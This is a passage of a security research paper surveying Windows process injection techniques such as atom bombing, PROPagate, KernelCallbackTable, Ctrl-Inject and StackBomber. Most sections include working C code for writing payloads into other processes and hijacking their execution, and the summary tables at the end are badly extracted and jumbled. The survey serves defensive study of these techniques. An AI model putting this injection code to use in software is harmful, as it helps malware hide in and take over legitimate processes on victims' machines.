Our code handles the problem of consecutive NUL bytes by creating the sequence backwards
using an auxiliary atom of a single arbitrary non-NUL byte. Note that NUL bytes are created first,
and only then the non-NUL bytes are added.

If the payload starts with a NUL byte, it is still possible to write it by artificially prepending it with
at least one non-NUL byte (not shown in the code)

NOTE: the original atom bombing PoC did not directly address the issue of consecutive NUL
bytes. Instead, it assumed that the target memory is 0-filled (which is indeed the case for the
.data slack used by the original PoC).

The code below ignores the issue of maximum atom length (RTL_MAXIMUM_ATOM_LENGTH –
probably 255). Longer payloads need to be broken into chunks of up to 255 bytes.

Code:
 HANDLE th = OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE,
thread_id);

ATOM aux = GlobalAddAtomA("b"); // arbitrary one char string

if (target_payload[0] == '\0')
{
printf("Invalid payload (starts with NUL)\n");
exit(0);
}
for (DWORD64 pos = sizeof(target_payload) - 1; pos > 0; pos--)
{
if ((payload[pos] == '\0') && (payload[pos - 1] == '\0'))
{
ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)aux,
(PVOID)(((DWORD64)target_payload) + pos-1), (PVOID)2);
}
}

for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos)+1)
{
if (*pos == '\0')
{
continue;
}
ATOM a = GlobalAddAtomA(pos);
DWORD64 offset = pos - payload;
ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,
(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos)+1));
}

Evaluation:

o Prerequisites: process must have a thread in alertable state

o Limitations: none
o CFG/CIG-readiness: not affected
o Controlled vs. uncontrolled write address: address is fully controlled
o Stability: good

13. Forcibly map a section (NtMapViewOfSection) write primitive (2017)

Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps-
unconventional-process-injection-technique/), though used (slightly differently) for process
hollowing earlier.
a. Create a file mapping using CreateFileMapping, mapped to the system pagefile.
b. MapViewOfFile to map it to injector process memory
c. Copy data to the section’s mapped memory
d. NtMapViewOfSection to the target process (automatically allocates memory in the
target process if base_address==NULL)

Code:
 HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
0, sizeof(payload), NULL);
LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE,
process_id);
memcpy(map_addr, payload, sizeof(payload));
LPVOID requested_target_payload=0;
SIZE_T view_size=0;
ntdll!NtMapViewOfSection(fm, p, &requested_target_payload, 0, sizeof(payload),
NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE );
target_payload=requested_target_payload;

Evaluation:

o Prerequisites: none
o Limitations: cannot write to allocated memory
o CFG/CIG-readiness: not affected
o Controlled vs. uncontrolled write address: address is fully controlled, but cannot be used
to write to an allocated memory. So it’s better to let Windows choose the address.
o Stability: good

14. Unmap+Overwrite execution method (2017)

Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps-
unconventional-process-injection-technique/), though used (slightly differently) for process
hollowing earlier.
a. NtUnmapViewOfSection for ntdll in the target process
b. Use any write primitive to allocate and write your own ntdll in its original address in the
target process (with at least read+execute permissions, and CFG-allowed).

Execution code only (unstable):

MODULEINFO ntdll_info;
HANDLE ntdll= GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info,
sizeof(ntdll_info));
HANDLE p = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id);
ntdll!NtUnmapViewOfSection(p, ntdll);
// Use write primitive to allocate ntdll_info.SizeOfImage bytes at address ntdll
in the target process,
// and write the patched ntdll code there.

Evaluation:

• Prerequisites: target memory must be RX (at least)

• Limitations: none
• CFG/CIG-readiness: not affected.
• Control over registers: no
• Stability: code should take care to retain the state of the module’s static variables (it’s
impossible to unmap partial module memory), and flush the instruction cache. This
 needs to be done while the target process is suspended. This requires a memory read
primitive (e.g. ReadProcessMemory), and process suspend+resume.
• Cleanup required: none

A full exploit code (including stability logic and payload writing):

MODULEINFO ntdll_info;
HANDLE ntdll= GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info,
sizeof(ntdll_info));
HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
0, ntdll_info.SizeOfImage, NULL);
LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION |
PROCESS_SUSPEND_RESUME, FALSE, process_id);
ntdll!NtSuspendProcess(p);
ReadProcessMemory(p, ntdll, map_addr, ntdll_info.SizeOfImage, NULL);
// Patch NtClose in map_addr
// …
ntdll!NtUnmapViewOfSection(p, ntdll);
SIZE_T view_size=0;
ntdll!NtMapViewOfSection(fm, p, &ntdll, 0, ntdll_info.SizeOfImage, NULL,
&view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE );
FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage);

ntdll!NtResumeProcess(p);

15. PROPagate execution method (2017)

Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-
code-injection-trick/).
Hat tip to Csaba Fitzl (“theevilbit”) who wrote the implementation upon which our code is based
(https://github.com/theevilbit/injection/tree/master/PROPagate).
a. Write the payload to the target process memory space using any write primitive available
e.g. VirtualAllocEx and WriteProcessMemory (not shown).
b. Find a subclassed window in the target process and obtain its UxSubclassInfo property
(pointer to a structure)
c. Read the structure from the target process memory (using any read primitive available, e.g.
ReadProcessMemory)
d. Clone the structure locally and set its virtual function to point at the payload address in the
target memory
e. Write the new structure to the target process memory (arbitrary location) using any write
primitive available (e.g. VirtualAllocEx+WriteProcessMemory).
f. Set the UxSubclassInfo property of the window to point at the new structure,
g. Trigger execution by sending a message to the window.

Code (tailored for Explorer.exe):

HWND h = FindWindow("Shell_TrayWnd", NULL);
DWORD process_id;
 GetWindowThreadProcessId(h, &process_id);
HWND hst = GetDlgItem(h, 303); // System Tray
HWND hc = GetDlgItem(hst, 1504);
HANDLE p = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
char new_subclass[0x50];
HANDLE target_new_subclass = (HANDLE)VirtualAllocEx(p, NULL, sizeof(new_subclass),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
HANDLE old_subclass = GetProp(hc, "UxSubclassInfo"); //handle is the memory
address of the current subclass structure
ReadProcessMemory(p, (LPCVOID)old_subclass, (LPVOID)new_subclass,
sizeof(new_subclass), NULL);
DWORD64 target_execution_ptr_value=target_execution;
memcpy(new_subclass + 0x18, &target_execution_ptr_value,
sizeof(target_execution_ptr_value));
WriteProcessMemory(p, (LPVOID)(target_new_subclass), (LPVOID)new_subclass,
sizeof(new_subclass), NULL); // Or any other write memory primitive
SetProp(hc, "UxSubclassInfo", target_new_subclass);
PostMessage(hc, WM_KEYDOWN, VK_NUMPAD1, 0);
Sleep(1); // YMMV
SetProp(hc, "UxSubclassInfo", old_subclass);

Evaluation:

o Prerequisites: A window belonging to the target process, that is subclassed. Specifically,

one of Explorer’s System Tray sub-windows is subclassed. Target address must be RX (at
least)
o Limitations: none
o CFG/CIG-readiness: the target execution address must be CFG-valid.
o Control over registers: none
o Cleanup required: yes. The original subclass structure needs to be restored.

16. KernelControlTable execution method (FinFisher/FinSpy 2018)

Observed in the wild, in FinFisher/FinSpy
(https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-
defeating-traps-tricks-and-complex-virtual-machines/). Works only with processes that own a
window. Odzhan provides a nice PoC (https://github.com/odzhan/injection/tree/master/kct) on
which our code is based.
a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory.
b. Obtain PEB address of target process using NtQueryInformationProcess, read it to find
the location of the kernel callback table and read it.
c. Write a new kernel callback table with the address of __fnCOPYDATA modified to point
at the target code.
d. Trigger the target code by sending WM_COPYDATA message to a window owned by the
target process.
HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_OPERATION|
PROCESS_VM_READ| PROCESS_VM_WRITE, FALSE, process_id);
PROCESS_BASIC_INFORMATION pbi;
ntdll!NtQueryInformationProcess(p,ProcessBasicInformation, &pbi, sizeof(pbi),
NULL);
PEB peb;
 ReadProcessMemory(p, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
KERNELCALLBACKTABLE kct;
ReadProcessMemory(p, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
LPVOID target_payload = VirtualAllocEx(p, NULL, sizeof(payload),MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(p, target_payload, payload, sizeof(payload), NULL);
LPVOID target_kct = VirtualAllocEx(p, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)target_payload;
WriteProcessMemory(p, target_kct, &kct, sizeof(kct), NULL);
WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB,
KernelCallbackTable), &target_kct, sizeof(ULONG_PTR), NULL);
COPYDATASTRUCT cds;
cds.dwData = 1;
wchar_t msg[] = L"foo";
cds.cbData = lstrlenW(msg) * 2;
cds.lpData = msg;
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds); // hw can be obtained via
e.g. EnumWindows
// Cleanup
WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB,
KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);

Evaluation:

o Prerequisites: The target process must own a window. The target address must be RX
(at least)
o Limitations: none
o CFG/CIG-readiness: the target execution address must be CFG-valid.
o Control over registers: none
o Cleanup required: yes. The original kernel callback table must be restored.

17. Ctrl-Inject execution method (2018)

Invented by Rotem Kerner, EnSilo (https://blog.ensilo.com/ctrl-inject).
Works only on console applications.
a. Write code/data using e.g. VirtualAllocEx and WriteProcessMemory (not shown)
b. Use RtlEncodeRemotePointer(process_handle, ptr, &encoded_ptr) to get encoded
pointer for the payload (or the ROP gadget)
c. Write the encoded ptr to kernelbase!SingleHandler using e.g. WriteProcessMemory.
d. Trigger execution by simulating Ctrl-C (SendInput for Ctrl, followed by
PostMessage(handle to window,WM_KEYDOWN,’C’,0) for ‘C’).
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE,
process_id); // PROCESS_VM_OPERATION is required for RtlEncodeRemotePointer
void* encoded_addr = NULL;
ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr);
// Use any Memory Write Primitive here…
WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL);

INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
 ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
Sleep(100);
PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); // hWindow is a handle to the
application window

Evaluation:

o Prerequisites: Console application, Target address must be RX (at least)

o Limitations: none
o CFG/CIG-readiness: the target execution address must be CFG-valid.
o Control over registers: none
o Cleanup required: yes. The original Ctrl-C handler must be restored, also the key pressed
must be released…

Cleanup code:
// release the Ctrl key
Sleep(100);
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &ip, sizeof(INPUT));

// Restore the original Ctrl handler in the target process

ntdll!RtlEncodeRemotePointer(h, kernelbase!DefaultHandler, &encoded_addr);
// Use any Memory Write Primitive here…
WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL);

18. Service Control Handler execution method (2018)

Invented by Odzhan (https://modexp.wordpress.com/2018/08/30/windows-process-injection-
control-handler/). Limited to services, and quite complicated. In essence, it overwrites an
internal service structure (IDE) in the target service process (the attacker needs to first find the
IDE in the process memory, apparently there’s not elegant way of doing it other than going over
all RW sections of the target process memory and searching for the IDE structure) using any
write primitive. The PoC is too long to provide here (it can be found in our git repository). It is
based on https://github.com/odzhan/injection/tree/master/svcctrl.

19. Message passing write primitive (2018)

Odzhan discusses the possibility of writing to a process using message passing APIs
(https://modexp.wordpress.com/2018/07/15/process-injection-sharing-payload/). He toyed
with using WM_COPYDATA message (sent via SendMessage/PostMessage) and discovered that
the data wound up on the stack of the listening thread. However, this is not a stable condition
and as such cannot be used for reliable exploitation.
 20. USERDATA execution method (2018)
Invented by Odzhan (https://modexp.wordpress.com/2018/09/12/process-injection-user-
data/). Injects into the conhost.exe process associated with a desktop application. Our PoC is
based on Odzhan’s code (https://github.com/odzhan/injection/tree/master/conhost).
a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory.
b. Get the pointer to the user data virtual table using GetWindowLongPtr(…,
GWLP_USERDATA)
c. Read the virtual table
d. Read the console dispatch table
e. Make a copy of the dispatch table in memory, with a modified pointer for
GetWindowHandle pointing at a target code
f. Trigger the target code using SendMessage(…, WM_SETFOCUS, …)
g. Restore the pointer to the original dispatch table.

Code:
DWORD conhost_id = conhostId(process_id);
HANDLE hp = OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE, conhost_id);
LPVOID target_payload = VirtualAllocEx(hp, NULL, sizeof(payload), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, target_payload, payload, sizeof(payload), NULL);
LONG_PTR udptr = GetWindowLongPtr(hWindow, GWLP_USERDATA);
ULONG_PTR vTable;
ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), NULL);
ConsoleWindow cw;
ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), NULL);
LPVOID target_cw = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);
cw.GetWindowHandle = (ULONG_PTR)target_payload;
WriteProcessMemory(hp, target_cw, &cw, sizeof(ConsoleWindow), NULL);
WriteProcessMemory(hp, (LPVOID)udptr, &target_cw, sizeof(ULONG_PTR), NULL);
SendMessage(hWindow, WM_SETFOCUS, 0, 0);
WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), NULL);

NOTE: the process_id provided must have conshot.exe as its child (so when the application is
run from a command line, process_id must belong to the cmd.exe process). hWindow is a
window belonging to the process whose ID is process_id.

Evaluation:

o Prerequisites: Console application, Target address must be RX (at least)

o Limitations: none
o CFG/CIG-readiness: the target execution address must be CFG-valid.
o Control over registers: none
o Cleanup required: yes. The original virtual table needs to be restored.
21. ALPC execution method (2019)

Invented by Odzhan (https://modexp.wordpress.com/2019/03/07/process-injection-print-

spooler/). Limited to processes that have ALPC ports. The PoC is too long to provide here (it can
be found in our git repository), it is based on the code snippets in the blog post, as well as on
https://github.com/odzhan/injection/tree/master/spooler.

a. Search for an (undocumented) ALPC control data structure that contains a callback.
b. Memory writing primitive is used to overwrite the callback address
c. The injecting process enumerates over all ports and attempts to connect to each one in
order to trigger the callback.

NOTE: in Windows 10 version 1903 the ALPC port is 46 (as opposed to 45 in earlier versions).

Evaluation:

o Prerequisites: process uses ALPC ports, target address must be RX (at least)
o Limitations: none
o CFG/CIG-readiness: the target execution address must be CFG-valid.
o Control over registers: none
o Cleanup required: yes. The original callback needs to be restored.

22. CLIPBRDWNDCLASS execution method (2019)

Hypothesized by Adam, Hexacorn (https://modexp.wordpress.com/2019/05/24/4066/) in 2018,
and implemented by Odzhan (https://modexp.wordpress.com/2019/05/24/4066/) in 2019.
Limited to processes that have private clipboard windows. This is somewhat unreliable, since
some processes like Explorer may or may not have a private window throughout their lifetime.
The technique uses SetProp to set the clipboard window property ClipboardDataObjectInterface
to an object (IUnknown) whose Release virtual function points at the target code. Then
execution is triggered by posting a message of type WM_DESTROYCLIPBOARD to the clipboard
window (which eventually invokes the Release function of the object).
Bottom line: not a reliable execution technique (requires private clipboard window).

23. DnsQuery_A Callback execution method (2019)

Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2019/06/12/code-execution-via-
surgical-callback-overwrites-e-g-dns-memory-functions/). Limited to processes that require DNS
resolution (i.e. invoke DnsQuery). DnsQuery invokes DnsApi!pDnsAllocFunction (function
pointer) to allocate memory, so modifying this pointer to point at a target code/function yields
execution. The execution technique is implemented in 3 steps: (a) find the address of the DnsApi
module in the target process; (b) overwrite its pDnsAllocFunction (a known offset from the
beginning of DnsApi) with the pointer of target code; (c) Trigger DnsQuery_A in the target
process. Unfortunately, step (c) is not easily achieved, therefore this technique is not too
reliable.
Bottom line: not a reliable execution technique (as it requires triggering DnsQuery_A).
 24. WNF (Windows Notification Facility) execution method (2019)
Invented by Odzhan (https://modexp.wordpress.com/2019/06/15/4083/). Limited to processes
that use WNF (this is probably quite rare, so far we’ve only found one such process –
explorer.exe). The code itself is too long to be included here (it can be found in our git
repository).
a. Search for the “master” WNF subscription table
b. Traverse a linked-list of name entries to find the entry matching a specific notification
name (WNF_SHEL_APPLICATION_STARTED)
c. Locate the user subscription entry from that entry. The user subscription entry contains
a callback. This callback is overwritten with an attacker-provided pointer to code
d. Trigger the notification using NtUpdateWnfStateData.
NOTE: we improved on the original implementation by finding the WNF subscription table via
references in the NTDLL code.

25. memset/memmove write primitive (NEW! 2019)

Invented by Amit Klein, Itzik Kotler, Safebreach. Requires an alertable thread.
a. Execute memset (using NtQueueApcThread) to write a single byte to the target process.
b. Repeat (a) until all bytes are written.
c. If needed, copy the data atomically (via NtQueueApcThread invoking memmove)
HANDLE ntdll= GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);

for (int i = 0; i < sizeof(payload); i++)

{
ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"),
(void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}
// Can finish with the “atomic” ntdll!NtQueueApcThread(t, GetProcAddress(ntdll,
"memmove"), (void*)target_payload_final,
// (void*)target_payload,
sizeof(payload));

Evaluation:

o Prerequisites: Thread must be in alertable state

o Limitations: none
o CFG/CIG-readiness: not affected
o Controlled vs. uncontrolled write address: address is fully controlled
o Stability: good

26. “StackBomber” write primitive and execution method (NEW! 2019)

Invented by Amit Klein, Itzik Kotler, Safebreach. NOTE: Yuki Chen anticipated stack overwrite as
an execution method in 2015 (https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-
Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf), but he did not elaborate or
demonstrate, also he did not describe how to find and overwrite TOS safely, such that control is
passed to the payload without crashing the original function first.
 Naïve (and using memset/APC as a writing technique):
a. Read RSP via GetThreadContext
b. Override stack data with new stack, via NtQueueUserAPC(ntdll!memset, thread,
destination,byte,1). Specifically, the return address stored on the stack is overwritten.
Execution will commence once the alertable function returns.

Note that the 5 alertable functions call NtXXX functions which are simple wrappers around
SYSCALL (SleepEx -> NtDelayExecution, WaitForSingleObjectEx -> NtWaitForSingleObject,
WaitForMultipleObjectsEx -> NtWaitForMultipleObjects, SignalObjectAndWait ->
NtSignalAndWaitForSingleObject, RealMsgWaitForMultipleObjectsEx ->
NtUserMsgWaitForMultipleObjectsEx). These five NtXXX functions use the following template:

mov r10,rcx
mov eax,SERVICE_DESCRIPTOR
test byte ptr [SharedUserData+0x308],1
jne +3
syscall
ret
int 2E
ret
So these functions don’t use the stack, therefore RSP ==TOS contains the return address, hence
we know exactly where to place the ROP chain.
We can generalize this – knowing RIP usually allows us to determine where the return address
is, relative to RSP. The above case becomes a special case wherein the return address offset
relative to RSP is 0 (when RIP is NtXXX+0x14 for the five NtXXX functions named above).

Naïve code:
HANDLE ntdll= GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT |
THREAD_SUSPEND_RESUME, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &ctx);
DWORD64 tos = (DWORD64)ctx.Rsp;

for (int i = 0; i < sizeof(ROP_chain); i++)

{
ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(tos+i),
(void*)*(((BYTE*)ROP_chain)+i), 1);
}
ResumeThread(t);

Of course, this technique ruins the current stack, so there’s no way to resume the original
thread flow. There are several alternatives:
 • Backup the current stack first (using memmove), then restore it and the registers. Note:
in order to accommodate the backup stack, the stack can be grown by writing a dummy
value every 4KB (allocating a new page each time).
• Alternatively, the stack can be read by the injector process, using a memory read
primitive (e.g. ReadProcessMemory), and embedded in the payload.
• Pivot to a new memory immediately – this ruins only the return address, and another
QWORD above it (which is anyway reserved for the leaf function and unused by the 5
leaf functions mentioned above, hence can be safely overwritten with no need for
restoration). The payload needs to restore RSP and the return address (only).

As for restoring registers, the 5 leaf functions do not rely on volatile registers when transferring
control to the kernel, and thus it is safe to modify the volatile registers, but the non-volatile
registers must be restored. Keep in mind that calling other (system) functions from the payload
does not modify the non-volatile registers since they are restored before control is returned to
the main payload. Thus, if the payload is written to only use volatile registers, it will be safe
(with no need to restore registers).

A safe version (including clean-up):

// payload mustn’t modify non-volatile registers, must copy the saved return
address to the original tos location (e.g. using memmove)
// and must restore rsp and control when it’s done, e.g. using GADGET_pivot.
HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT |
THREAD_SUSPEND_RESUME, FALSE, thread_id);
SuspendThread(t);
CONTEXT context;
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &context)
DWORD64 orig_tos = (DWORD64)context.Rsp;
DWORD64 tos = orig_tos-0x2000; // 0x2000 experimentally works…

// Grow the stack to accommodate the new stack

for (DWORD64 i = orig_tos - 0x1000; i >= tos; i -= 0x1000)
{
(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(i),
(void*)0, 1);
}

// Write the new stack

payload[saved_tos]=orig_tos;
for (int i = 0; i < sizeof(payload); i++)
{
(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(tos + i),
(void*)*(((BYTE*)payload) + i), 1);
}
// Save the original return address into the new stack
(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memmove"),
(void*)(payload[saved_return_address]), (void*)orig_tos, 8);

// overwrite the original return address with GADGET_pivot

for (int i = 0; i < sizeof(tos); i++)
{
 (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos +
i), (void*)(((BYTE*)&GADGET_pivot)[i]), 1);
}

// overwrite the original tos+8 with the new tos address (we don't need to restore
this since it's shadow stack and not used by the leaf function!)
for (int i = 0; i < sizeof(tos); i++)
{
(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos +
8 + i), (void*)(((BYTE*)&tos)[i]), 1);
}

ResumeThread(t);

Evaluation:

• Prerequisites: Thread must be in alertable state. Target address must be RX (at least)
• Limitations: none
• CFG/CIG-readiness: not affected.
• Control over registers: no
• Stability: since all memory writes are queued, and happen together, atomicity is not an
issue.
• Cleanup required: yes. The original thread state, stack and non-volatile registers need to
be restored.

Shatter-like Techniques

There are 7 Shatter-like techniques: (WordWarping, Hyphentension, AutoCourgette, Streamception,

Oleum, ListPLanting, Treepoline) described by Odzhan
(https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/). Due to time
shortage, we’re not providing analysis and PoCs here – this will be included in a future version of the
paper and PINJECTRA.

Summary of Techniques
Memory Allocation

Allocation Technique Memory Access CFG-valid? Stable?

VirtualAllocEx RWX Yes Yes
(allocated memory) RW No .data slack – Yes,
Image (.data slack), Stack/Heap – depends.
Stack, Heap
NtMapViewOfSection RWX Yes Yes

Memory Write

(boldface APIs are target process oriented)

 Write Technique Prerequisites/Limitations Address Stable? Main APIs used
control
WriteProcessMemory None Full Yes OpenProcess,
WriteProcessMemory
Existing Shared Process must have a RW None May be OpenFileMapping,
Memory Shared Memory section unstable MapViewOfFile,
OpenProcess,
VirtualQueryEx,
ReadProcessMemory
Atom Bombing Thread must be in Full Yes OpenThread,
alertable state GlobalAtomAdd,
ntdll!NtQueueApcThread
NtMapViewOfSection Cannot write on allocated N/A Yes CreateFileMapping,
memory (e.g. Image, MapViewOfFile,
Stack, Heap) OpenProcess,
ntdll!NtMapViewOfSection
memset/memmove Thread must be in Full Yes
alertable state

Execution Techniques

(boldface APIs are global or target process oriented)

Execution Famil Prerequisites/ CFG/C Controlled Cleanup/Sta Main APIs used

method y Limitations IG registers bility
constr
aints
DLL DLL (1) DLL on (CIG) None (N/A OpenProcess+
injection via innje disk; (2) DLL DLL – runs CreateRemoteThread
CreateRemo ction path in target must native /
teThread process be code) OpenThread+
memory; (3) MSFT- QueueUserAPC/
Loader lock signed ntdll!NtQueueApcTh
restrictions … read
CreateRemo Target address (CFG) RCX OpenProcess,
teThread must be RX (at Target CreateRemoteThread
least) addre
ss
must
be
CFG-
valid
APC (1) Target (CFG) RCX (also OpenThread,
address must Target RDX and R8 QueueUserAPC/
be RX (at addre for ntdll!NtQueueApcTh
least); (2) ss NtQueueAp read
Thread must must cThread)
 be in alertable be
state CFG-
valid
Thread Target address (CFG) All non Cleanup OpenThread,
execution must be RX (at RSP (if volatile needed in SuspendThread,
hijacking least). set) registers, in order for the ResumeThread,
must some cases original SetThreadContext
be also volatile thread to
within registers resume
stack execution
limits
Windows DLL (1) DLL on (CIG) None (N/A SetWindowsHookEx
hook inject disk; (2) target DLL – runs
ion process must must native
have be code)
user32.dll MSFT-
loaded (and a signed
message loop …
thread)
Ghost- Target address None All non Cleanup OpenThread,
writing must be RX (at volatile needed in GetThreadContext,
least) registers, in order for the SetThreadContext,
some cases original SuspendThread,
also volatile thread to ResumeThread
registers resume
execution.
May be
tricky!
SetWindow Switc (1) A window (CFG) None Cleanup FindWindow/OpenW
Long/ h belonging to Target needed: the indow,
SetWindow virtua the target addre original SetWindowLong/Set
LongPtr l process, that ss CTray object WindowLongPtr
table uses the extra must must be
and window bytes be restored,
trigge to store a CFG- and special
r pointer to an valid consideratio
object with a n must be
virtual given for the
function table. return state
Specifically, from the
explorer’s function
Shell Tray
Window uses
the first 8
extra window
bytes to store
a pointer to a
CTray object;
 (2) Target
address must
be RX (at least)
Unmap+ove Target address None None (N/A Stability: OpenProcess,
rwrite must be RX (at – runs code should ntdll!NtUnmapView
least) native take care to OfSection,
code) retain the ntdll!NtSuspendProc
state of the ess,
module’s ntdll!ResumeProcess
static ,
variables (it’s FlushInstructionCach
impossible e,
to unmap ReadProcessMemory
partial
module
memory),
and flush the
instruction
cache. This
needs to be
done while
the target
process is
suspended.
This requires
a memory
read
primitive
(e.g.
ReadProcess
Memory),
and process
suspend+res
ume.

PROPagate Switc (1) A window (CFG) None Cleanup: The FindWindow/OpenW

h belonging to Target original indow,
virtua the target addre subclass GetProp, SetProp,
l process, that is ss structure ReadProcessMemoe
table subclassed. must needs to be y
and Specifically, be restored.
trigge one of CFG-
r Explorer’s valid
System Tray
sub-windows
is subclassed;
(2) Target
 address must
be RX (at least)
Kernel Switc (1) Target (CFG) None The original FindWIndow/OpenW
Callback h process must Target kernel indow (or similar),
Table virtua own a addre callback OpenProcess,
l window; (2) ss table must ntdll!NtQueryInformatio
table Target address must be restored. nProcess,
SendMessage
and must be RX (at be
trigge least) CFG-
r valid
Ctrl-Inject Switc (1) Console (CFG) None The original OpenProcess,
h application; (2) Target Ctrl-C ntdll!RtlEncodeRemo
virtua Target address addre handler tePointer,
l must be RX (at ss must be SendInput,
table least) must restored, PostMessage
and be also the key
trigge CFG- pressed
r valid must be
released.
Service Over (1) Target (CFG) None (Probably) OpenSCManager,
Control write process must Target restore the OpenService,
virtua be a service; addre original OpenProcess,
l (2) Target ss handler ControlService,
table address must must VirtualQueryEx,
and be RX (at least) be ReadProcessMemory
trigge CFG-
r valid
USERDATA Switc (1) Console (CFG) None The original OpenProcess,
h application; (2) Target dispatch FindWindow/OpenW
virtua Target address addre table pointer indow (or similar)
l must be RX (at ss must be GetWindowLongPtr,
SendMessage
table least) must restored.
and be
trigge CFG-
r valid
ALPC Over (1) Target (CFG) None Restore the OpenProcess,
callback write process must Target original VirtualQueryEx,
NtDuplicateObject,
virtua have open addre callback
NtConnectPort,
l ALPC port; (2) ss ReadProcessMemory
table Target must
and address must be
trigge be RX (at least) CFG-
r valid
WNF Over (1) Target (CFG) R9? Restore the OpenProcess,
callback write process must Target original ReadProcessMemory,
NtUpdateWnfStateData
virtua use WNF; (2) addre callback
l Target ss
 table address must must
and be RX (at least) be
trigge CFG-
